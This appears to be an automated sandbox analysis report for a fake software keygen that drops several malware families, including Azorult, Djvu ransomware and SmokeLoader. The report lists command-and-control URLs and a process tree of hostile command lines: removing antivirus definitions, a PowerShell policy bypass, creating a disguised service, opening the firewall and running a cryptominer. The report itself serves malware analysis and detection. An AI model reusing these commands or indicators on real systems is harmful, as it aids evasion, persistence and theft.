Overview

overview

10

Static

static

ElectraSof...cg.exe

windows7_x64

1

ElectraSof...cg.exe

windows10_x64

Resubmissions

17/01/2021, 18:30

210117-q3vy6kg7wx1

26/12/2020, 16:39

201226-mkwafa6hqe10

Analysis

  • max time kernel
    124s
  • max time network
    126s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    26/12/2020, 16:39

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    ElectraSoft_FaxMail_Network_keygen_by_aaocg.exe
  • Size 8.4MB
  • Sample201226-mkwafa6hqe
  • SHA256 6d5307f8ae9c15be09190b6ff1f2c557d7a0519b765b6ef020ac3e7343fb190c
  • MD5 SHA1 SHA512
Score
10/10
azorultdjvuplugxponysmokeloadertofseevidarbackdoorbootkitdiscoveryevasioninfostealerpersistenceransomwareratspywarestealertrojanupx

Malware Config

Extracted

Family

  • azorult

C2

  • http://kvaka.li/1210776429.php

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://naritouzina.net/

  • http://nukaraguasleep.net/

  • http://notfortuaj.net/

  • http://natuturalistic.net/

  • http://zaniolofusa.net/

rc4.i32
rc4.i32

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    evasion
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

    ransomwaredjvu
  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

    trojanplugx
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

    ratspywarestealerpony
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 46 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 18 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spyware
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spyware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • JavaScript code in executable 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 41 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Checks SCSI registry key(s) 3 TTPs 15 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 224 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2123 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 126 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 209 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ElectraSoft_FaxMail_Network_keygen_by_aaocg.exe
    "C:\Users\Admin\AppData\Local\Temp\ElectraSoft_FaxMail_Network_keygen_by_aaocg.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:528
  • C:\Users\Admin\Desktop\keygen-step-3.exe
    "C:\Users\Admin\Desktop\keygen-step-3.exe"
    1⤵
    • Executes dropped EXE
    PID:2944
  • C:\Users\Admin\Desktop\keygen-step-1.exe
    "C:\Users\Admin\Desktop\keygen-step-1.exe"
    1⤵
    • Executes dropped EXE
    PID:1268
  • C:\Users\Admin\Desktop\keygen-pr.exe
    "C:\Users\Admin\Desktop\keygen-pr.exe"
    1⤵
    • Executes dropped EXE
    PID:672
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\keygen.bat" "
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3816
    • C:\Users\Admin\Desktop\intro.exe
      intro.exe 1O5ZF
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      PID:1728
    • C:\Users\Admin\Desktop\keygen-pr.exe
      keygen-pr.exe -p83fsase3Ge
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:492
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\key.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\key.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3592
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\key.exe
          C:\Users\Admin\AppData\Local\Temp\RarSFX0\key.exe -txt -scanlocal -file:potato.dat
          4⤵
          • Executes dropped EXE
          PID:1732
    • C:\Users\Admin\Desktop\keygen-step-1.exe
      keygen-step-1.exe
      2⤵
      • Executes dropped EXE
      PID:2836
    • C:\Users\Admin\Desktop\keygen-step-3.exe
      keygen-step-3.exe
      2⤵
      • Executes dropped EXE
      PID:2736
    • C:\Users\Admin\Desktop\keygen-step-4.exe
      keygen-step-4.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\002.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\002.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:508
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\LZMA.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\LZMA.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1304
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks SCSI registry key(s)
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Users\Admin\AppData\Roaming\1609004644016.exe
          "C:\Users\Admin\AppData\Roaming\1609004644016.exe" /sjson "C:\Users\Admin\AppData\Roaming\1609004644016.txt"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:2284
        • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
          C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:1872
        • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
          "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Writes to the Master Boot Record (MBR)
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3940
        • C:\Users\Admin\AppData\Local\Temp\23e04c4f32ef2158.exe
          C:\Users\Admin\AppData\Local\Temp\23e04c4f32ef2158.exe /silent
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1824
          • C:\Users\Admin\AppData\Local\Temp\is-J59GE.tmp\23e04c4f32ef2158.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-J59GE.tmp\23e04c4f32ef2158.tmp" /SL5="$6007C,817849,121344,C:\Users\Admin\AppData\Local\Temp\23e04c4f32ef2158.exe" /silent
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1440
            • C:\Program Files (x86)\RearRips\seed.sfx.exe
              "C:\Program Files (x86)\RearRips\seed.sfx.exe" -pX7mdks39WE0 -s1
              6⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3816
              • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
                "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks SCSI registry key(s)
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                PID:3968
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /c "start https://iplogger.org/14Zhe7"
              6⤵
              • Checks computer location settings
              PID:3140
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
          4⤵
            PID:4384
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 3
              5⤵
              • Runs ping.exe
              PID:4464
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
          3⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Suspicious use of AdjustPrivilegeToken
          PID:4420
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\hjjgaa.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\hjjgaa.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          PID:4432
          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
            4⤵
            • Executes dropped EXE
            PID:4612
          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
            4⤵
            • Executes dropped EXE
            PID:4852
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
      1⤵
      • Drops file in Windows directory
      • Modifies Control Panel
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3012
    • C:\Windows\system32\browser_broker.exe
      C:\Windows\system32\browser_broker.exe -Embedding
      1⤵
      • Modifies Internet Explorer settings
      PID:3748
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Modifies registry class
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      PID:4136
    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      PID:4200
    • C:\Windows\system32\compattelrunner.exe
      C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
      1⤵
        PID:2364
      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
        1⤵
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:4672
      • C:\Users\Admin\AppData\Local\Temp\7B2C.exe
        C:\Users\Admin\AppData\Local\Temp\7B2C.exe
        1⤵
        • Executes dropped EXE
        • Adds Run key to start application
        PID:4908
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Users\Admin\AppData\Local\c5c40f24-c0eb-4c11-97a7-2cb9551a1c3f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
          2⤵
          • Modifies file permissions
          PID:5056
        • C:\Users\Admin\AppData\Local\Temp\7B2C.exe
          "C:\Users\Admin\AppData\Local\Temp\7B2C.exe" --Admin IsNotAutoStart IsNotTask
          2⤵
          • Executes dropped EXE
          PID:1852
          • C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin1.exe
            "C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin1.exe"
            3⤵
            • Executes dropped EXE
            PID:1412
            • C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin1.exe
              "C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin1.exe" --Admin
              4⤵
              • Executes dropped EXE
              PID:4516
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
                5⤵
                  PID:5044
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Users\Admin\AppData\Local\script.ps1""' -Verb RunAs}"
                  5⤵
                    PID:4772
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\script.ps1
                      6⤵
                        PID:4904
                        • C:\Windows\SysWOW64\verclsid.exe
                          "C:\Windows\system32\verclsid.exe" /S /C {DFFACDC5-679F-4156-8947-C5C76BC0B67F} /I {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} /X 0x401
                          7⤵
                            PID:2364
                      • C:\Program Files\Windows Defender\mpcmdrun.exe
                        "C:\Program Files\Windows Defender\mpcmdrun.exe" -removedefinitions -all
                        5⤵
                        • Deletes Windows Defender Definitions
                        PID:2268
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\delself.bat""
                        5⤵
                          PID:4216
                    • C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin2.exe
                      "C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin2.exe"
                      3⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      PID:4636
                    • C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin.exe
                      "C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:5084
                      • C:\Windows\SysWOW64\cmd.exe
                        /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\updatewin.exe
                        4⤵
                          PID:4396
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /t 3
                            5⤵
                            • Delays execution with timeout.exe
                            PID:5072
                      • C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\5.exe
                        "C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\5.exe"
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Checks processor information in registry
                        PID:4912
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & erase C:\Users\Admin\AppData\Local\be1c1b9d-d9a7-4a29-9539-d701be746f5c\5.exe & exit
                          4⤵
                            PID:4952
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /im 5.exe /f
                              5⤵
                              • Kills process with taskkill
                              PID:4364
                    • C:\Users\Admin\AppData\Local\Temp\7C08.exe
                      C:\Users\Admin\AppData\Local\Temp\7C08.exe
                      1⤵
                      • Executes dropped EXE
                      PID:4920
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qabugfmj\
                        2⤵
                          PID:5068
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bbcnijhp.exe" C:\Windows\SysWOW64\qabugfmj\
                          2⤵
                            PID:744
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" create qabugfmj binPath= "C:\Windows\SysWOW64\qabugfmj\bbcnijhp.exe /d\"C:\Users\Admin\AppData\Local\Temp\7C08.exe\"" type= own start= auto DisplayName= "wifi support"
                            2⤵
                              PID:3984
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" description qabugfmj "wifi internet conection"
                              2⤵
                                PID:4840
                              • C:\Windows\SysWOW64\sc.exe
                                "C:\Windows\System32\sc.exe" start qabugfmj
                                2⤵
                                  PID:4968
                                • C:\Windows\SysWOW64\netsh.exe
                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                  2⤵
                                    PID:3280
                                • C:\Users\Admin\AppData\Local\Temp\7F35.exe
                                  C:\Users\Admin\AppData\Local\Temp\7F35.exe
                                  1⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks processor information in registry
                                  PID:1188
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /im 7F35.exe /f & erase C:\Users\Admin\AppData\Local\Temp\7F35.exe & exit
                                    2⤵
                                      PID:2156
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /im 7F35.exe /f
                                        3⤵
                                        • Kills process with taskkill
                                        PID:3648
                                  • C:\Users\Admin\AppData\Local\Temp\8205.exe
                                    C:\Users\Admin\AppData\Local\Temp\8205.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:4556
                                  • C:\Users\Admin\AppData\Local\Temp\869A.exe
                                    C:\Users\Admin\AppData\Local\Temp\869A.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:5000
                                    • C:\Users\Admin\AppData\Local\Temp\LZMA.exe
                                      "C:\Users\Admin\AppData\Local\Temp\LZMA.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:1140
                                  • C:\Windows\SysWOW64\qabugfmj\bbcnijhp.exe
                                    C:\Windows\SysWOW64\qabugfmj\bbcnijhp.exe /d"C:\Users\Admin\AppData\Local\Temp\7C08.exe"
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:3464
                                    • C:\Windows\SysWOW64\svchost.exe
                                      svchost.exe
                                      2⤵
                                      • Drops file in System32 directory
                                      • Modifies data under HKEY_USERS
                                      PID:5076
                                      • C:\Windows\SysWOW64\svchost.exe
                                        svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                                        3⤵
                                          PID:204
                                    • C:\Users\Admin\AppData\Local\Temp\8B3E.exe
                                      C:\Users\Admin\AppData\Local\Temp\8B3E.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks SCSI registry key(s)
                                      • Suspicious behavior: MapViewOfSection
                                      PID:3936
                                    • C:\Users\Admin\AppData\Local\Temp\9189.exe
                                      C:\Users\Admin\AppData\Local\Temp\9189.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:5024
                                      • C:\Users\Admin\AppData\Local\Temp\9189.exe
                                        C:\Users\Admin\AppData\Local\Temp\9189.exe
                                        2⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks SCSI registry key(s)
                                        • Suspicious behavior: MapViewOfSection
                                        PID:856
                                    • C:\Users\Admin\AppData\Local\Temp\9860.exe
                                      C:\Users\Admin\AppData\Local\Temp\9860.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:4944
                                    • C:\Users\Admin\AppData\Local\Temp\9F75.exe
                                      C:\Users\Admin\AppData\Local\Temp\9F75.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:2068
                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                      1⤵
                                      • Modifies registry class
                                      PID:2860
                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                      1⤵
                                      • Modifies registry class
                                      PID:5100
                                    • C:\Users\Admin\AppData\Local\Temp\EC5E.exe
                                      C:\Users\Admin\AppData\Local\Temp\EC5E.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:2924
                                    • C:\Users\Admin\AppData\Local\Temp\FA68.exe
                                      C:\Users\Admin\AppData\Local\Temp\FA68.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Writes to the Master Boot Record (MBR)
                                      PID:188
                                    • C:\Users\Admin\AppData\Local\Temp\D74.exe
                                      C:\Users\Admin\AppData\Local\Temp\D74.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Drops startup file
                                      PID:4880
                                      • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                        "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: AddClipboardFormatListener
                                        PID:4584

                                    Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          memory/188-200-0x0000000005235000-0x0000000005236000-memory.dmp
                                          Download

                                          memory/188-202-0x0000000005820000-0x0000000005821000-memory.dmp
                                          Download

                                          memory/672-9-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/856-151-0x0000000000400000-0x000000000040C000-memory.dmp
                                          Download

                                          memory/1188-120-0x00000000053A6000-0x00000000053A7000-memory.dmp
                                          Download

                                          memory/1188-122-0x0000000005880000-0x0000000005881000-memory.dmp
                                          Download

                                          memory/1412-165-0x00000000006FE000-0x00000000006FF000-memory.dmp
                                          Download

                                          memory/1412-135-0x0000000002080000-0x0000000002081000-memory.dmp
                                          Download

                                          memory/1440-87-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/1732-49-0x0000000000400000-0x0000000000983000-memory.dmp
                                          Download

                                          memory/1732-40-0x0000000000400000-0x0000000000983000-memory.dmp
                                          Download

                                          memory/1824-83-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/1852-126-0x0000000005640000-0x0000000005641000-memory.dmp
                                          Download

                                          memory/1872-61-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/2284-57-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/2924-181-0x0000000005496000-0x0000000005497000-memory.dmp
                                          Download

                                          memory/2924-182-0x0000000005680000-0x0000000005681000-memory.dmp
                                          Download

                                          memory/3024-105-0x0000000003500000-0x0000000003516000-memory.dmp
                                          Download

                                          memory/3464-141-0x0000000005780000-0x0000000005781000-memory.dmp
                                          Download

                                          memory/3464-140-0x00000000053A0000-0x00000000053A1000-memory.dmp
                                          Download

                                          memory/3800-50-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/3800-51-0x0000000010000000-0x00000000103DB000-memory.dmp
                                          Download

                                          memory/3816-91-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/3936-142-0x00000000053E5000-0x00000000053E6000-memory.dmp
                                          Download

                                          memory/3936-146-0x00000000056D0000-0x00000000056D1000-memory.dmp
                                          Download

                                          memory/3940-67-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/3968-96-0x0000000074530000-0x00000000745C3000-memory.dmp
                                          Download

                                          memory/3968-98-0x0000000005840000-0x0000000005841000-memory.dmp
                                          Download

                                          memory/3968-97-0x00000000052BA000-0x00000000052BB000-memory.dmp
                                          Download

                                          memory/4516-168-0x0000000000824000-0x0000000000827000-memory.dmp
                                          Download

                                          memory/4516-167-0x0000000002270000-0x0000000002271000-memory.dmp
                                          Download

                                          memory/4556-127-0x00000000051C5000-0x00000000051C6000-memory.dmp
                                          Download

                                          memory/4556-128-0x00000000056B0000-0x00000000056B1000-memory.dmp
                                          Download

                                          memory/4584-218-0x0000000005496000-0x0000000005497000-memory.dmp
                                          Download

                                          memory/4584-220-0x00000000057F0000-0x00000000057F1000-memory.dmp
                                          Download

                                          memory/4636-137-0x0000000002100000-0x0000000002101000-memory.dmp
                                          Download

                                          memory/4636-164-0x00000000006CE000-0x00000000006CF000-memory.dmp
                                          Download

                                          memory/4772-196-0x0000000071060000-0x000000007174E000-memory.dmp
                                          Download

                                          memory/4772-213-0x0000000009780000-0x0000000009781000-memory.dmp
                                          Download

                                          memory/4772-207-0x00000000083C0000-0x00000000083C1000-memory.dmp
                                          Download

                                          memory/4772-212-0x0000000008EB0000-0x0000000008EB1000-memory.dmp
                                          Download

                                          memory/4880-214-0x00000000051E5000-0x00000000051E6000-memory.dmp
                                          Download

                                          memory/4880-215-0x0000000005760000-0x0000000005761000-memory.dmp
                                          Download

                                          memory/4908-114-0x00000000055A0000-0x00000000055A1000-memory.dmp
                                          Download

                                          memory/4912-158-0x00000000057B0000-0x00000000057B1000-memory.dmp
                                          Download

                                          memory/4912-157-0x00000000052F5000-0x00000000052F6000-memory.dmp
                                          Download

                                          memory/4920-116-0x0000000005730000-0x0000000005731000-memory.dmp
                                          Download

                                          memory/4920-115-0x0000000005285000-0x0000000005286000-memory.dmp
                                          Download

                                          memory/5024-150-0x0000000005800000-0x0000000005801000-memory.dmp
                                          Download

                                          memory/5024-148-0x0000000005266000-0x0000000005267000-memory.dmp
                                          Download

                                          memory/5044-193-0x0000000009A40000-0x0000000009A41000-memory.dmp
                                          Download

                                          memory/5044-176-0x0000000007F70000-0x0000000007F71000-memory.dmp
                                          Download

                                          memory/5044-191-0x00000000094A0000-0x00000000094A1000-memory.dmp
                                          Download

                                          memory/5044-192-0x0000000009620000-0x0000000009621000-memory.dmp
                                          Download

                                          memory/5044-179-0x0000000008730000-0x0000000008731000-memory.dmp
                                          Download

                                          memory/5044-194-0x00000000099A0000-0x00000000099A1000-memory.dmp
                                          Download

                                          memory/5044-171-0x0000000006F70000-0x0000000006F71000-memory.dmp
                                          Download

                                          memory/5044-175-0x0000000007E00000-0x0000000007E01000-memory.dmp
                                          Download

